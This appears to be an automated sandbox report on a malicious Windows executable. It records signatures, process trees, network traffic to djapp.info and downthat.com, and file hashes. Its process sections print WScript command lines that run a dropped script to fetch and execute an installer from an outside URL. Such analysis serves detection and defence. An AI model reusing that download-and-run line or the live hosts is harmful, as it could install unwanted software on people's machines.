Malware Analysis Report

2025-04-14 04:34

Sample ID 240612-w4rx3syerm
Target a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118
SHA256 0fbd0b1f616c5ad5d2ca0c14ef41fa18dc01e290abed4048944e04708b5d3711
Tags
execution
score
8/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
8/10

SHA256

0fbd0b1f616c5ad5d2ca0c14ef41fa18dc01e290abed4048944e04708b5d3711

Threat Level: Likely malicious

The file a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118 was found to be: Likely malicious.

Malicious Activity Summary

execution

Blocklisted process makes network request

Checks computer location settings

Unsigned PE

Command and Scripting Interpreter: JavaScript

Enumerates physical storage devices

Suspicious use of WriteProcessMemory

Modifies registry class

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-06-12 18:28

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-12 18:28

Reported

2024-06-12 18:31

Platform

win7-20240508-en

Max time kernel

144s

Max time network

143s

Command Line

"C:\Users\Admin\AppData\Local\Temp\a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe"

Signatures

Command and Scripting Interpreter: JavaScript

execution

Enumerates physical storage devices

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1916 wrote to memory of 2976 N/A C:\Users\Admin\AppData\Local\Temp\a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 1916 wrote to memory of 2976 N/A C:\Users\Admin\AppData\Local\Temp\a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 1916 wrote to memory of 2976 N/A C:\Users\Admin\AppData\Local\Temp\a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 1916 wrote to memory of 2976 N/A C:\Users\Admin\AppData\Local\Temp\a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 1916 wrote to memory of 2680 N/A C:\Users\Admin\AppData\Local\Temp\a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 1916 wrote to memory of 2680 N/A C:\Users\Admin\AppData\Local\Temp\a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 1916 wrote to memory of 2680 N/A C:\Users\Admin\AppData\Local\Temp\a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 1916 wrote to memory of 2680 N/A C:\Users\Admin\AppData\Local\Temp\a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 1916 wrote to memory of 1152 N/A C:\Users\Admin\AppData\Local\Temp\a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 1916 wrote to memory of 1152 N/A C:\Users\Admin\AppData\Local\Temp\a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 1916 wrote to memory of 1152 N/A C:\Users\Admin\AppData\Local\Temp\a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 1916 wrote to memory of 1152 N/A C:\Users\Admin\AppData\Local\Temp\a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe

Processes

C:\Users\Admin\AppData\Local\Temp\a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe"

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf15F1.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf15F1.exe

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf15F1.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf15F1.exe

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf15F1.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf15F1.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 www.djapp.info udp
US 8.8.8.8:53 www.djapp.info udp
US 8.8.8.8:53 bi.downthat.com udp
US 8.8.8.8:53 www.djapp.info udp
US 8.8.8.8:53 www.djapp.info udp
US 8.8.8.8:53 bi.downthat.com udp
US 8.8.8.8:53 www.djapp.info udp
US 8.8.8.8:53 www.djapp.info udp
US 8.8.8.8:53 bi.downthat.com udp

Files

C:\Users\Admin\AppData\Local\Temp\fuf15F1.js

MD5 3813cab188d1de6f92f8b82c2059991b
SHA1 4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA256 a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
SHA512 83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-12 18:28

Reported

2024-06-12 18:31

Platform

win10v2004-20240611-en

Max time kernel

128s

Max time network

137s

Command Line

"C:\Users\Admin\AppData\Local\Temp\a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe"

Signatures

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WScript.exe N/A
N/A N/A C:\Windows\SysWOW64\WScript.exe N/A
N/A N/A C:\Windows\SysWOW64\WScript.exe N/A
N/A N/A C:\Windows\SysWOW64\WScript.exe N/A
N/A N/A C:\Windows\SysWOW64\WScript.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe N/A

Command and Scripting Interpreter: JavaScript

execution

Enumerates physical storage devices

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000_Classes\Local Settings C:\Users\Admin\AppData\Local\Temp\a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2648 wrote to memory of 3340 N/A C:\Users\Admin\AppData\Local\Temp\a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2648 wrote to memory of 3340 N/A C:\Users\Admin\AppData\Local\Temp\a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2648 wrote to memory of 3340 N/A C:\Users\Admin\AppData\Local\Temp\a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2648 wrote to memory of 1180 N/A C:\Users\Admin\AppData\Local\Temp\a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2648 wrote to memory of 1180 N/A C:\Users\Admin\AppData\Local\Temp\a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2648 wrote to memory of 1180 N/A C:\Users\Admin\AppData\Local\Temp\a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2648 wrote to memory of 3848 N/A C:\Users\Admin\AppData\Local\Temp\a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2648 wrote to memory of 3848 N/A C:\Users\Admin\AppData\Local\Temp\a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2648 wrote to memory of 3848 N/A C:\Users\Admin\AppData\Local\Temp\a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2648 wrote to memory of 3600 N/A C:\Users\Admin\AppData\Local\Temp\a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2648 wrote to memory of 3600 N/A C:\Users\Admin\AppData\Local\Temp\a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2648 wrote to memory of 3600 N/A C:\Users\Admin\AppData\Local\Temp\a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2648 wrote to memory of 2824 N/A C:\Users\Admin\AppData\Local\Temp\a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2648 wrote to memory of 2824 N/A C:\Users\Admin\AppData\Local\Temp\a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2648 wrote to memory of 2824 N/A C:\Users\Admin\AppData\Local\Temp\a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe

Processes

C:\Users\Admin\AppData\Local\Temp\a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\a1be3ac1ee943c017c5088e5e1a9cd7f_JaffaCakes118.exe"

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3524.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf3524.exe

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=2816,i,6522675234395427298,2952738987384583032,262144 --variations-seed-version --mojo-platform-channel-handle=4428 /prefetch:8

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3524.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf3524.exe

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3524.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf3524.exe

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3524.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf3524.exe

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3524.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf3524.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 www.djapp.info udp
US 8.8.8.8:53 bi.downthat.com udp
US 3.94.41.167:80 bi.downthat.com tcp
US 13.107.42.16:443 tcp
US 8.8.8.8:53 www.hugedomains.com udp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
US 8.8.8.8:53 167.41.94.3.in-addr.arpa udp
US 8.8.8.8:53 76.234.34.23.in-addr.arpa udp
US 8.8.8.8:53 www.djapp.info udp
US 3.94.41.167:80 bi.downthat.com tcp
US 8.8.8.8:53 www.djapp.info udp
US 199.232.210.172:80 tcp
US 3.94.41.167:80 bi.downthat.com tcp
US 8.8.8.8:53 86.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 www.djapp.info udp
US 3.94.41.167:80 bi.downthat.com tcp
US 8.8.8.8:53 58.99.105.20.in-addr.arpa udp
US 8.8.8.8:53 64.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 www.djapp.info udp
US 3.94.41.167:80 bi.downthat.com tcp
US 8.8.8.8:53 249.197.17.2.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\fuf3524.js

MD5 3813cab188d1de6f92f8b82c2059991b
SHA1 4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA256 a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
SHA512 83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

memory/2824-4-0x0000000073FF0000-0x0000000074002000-memory.dmp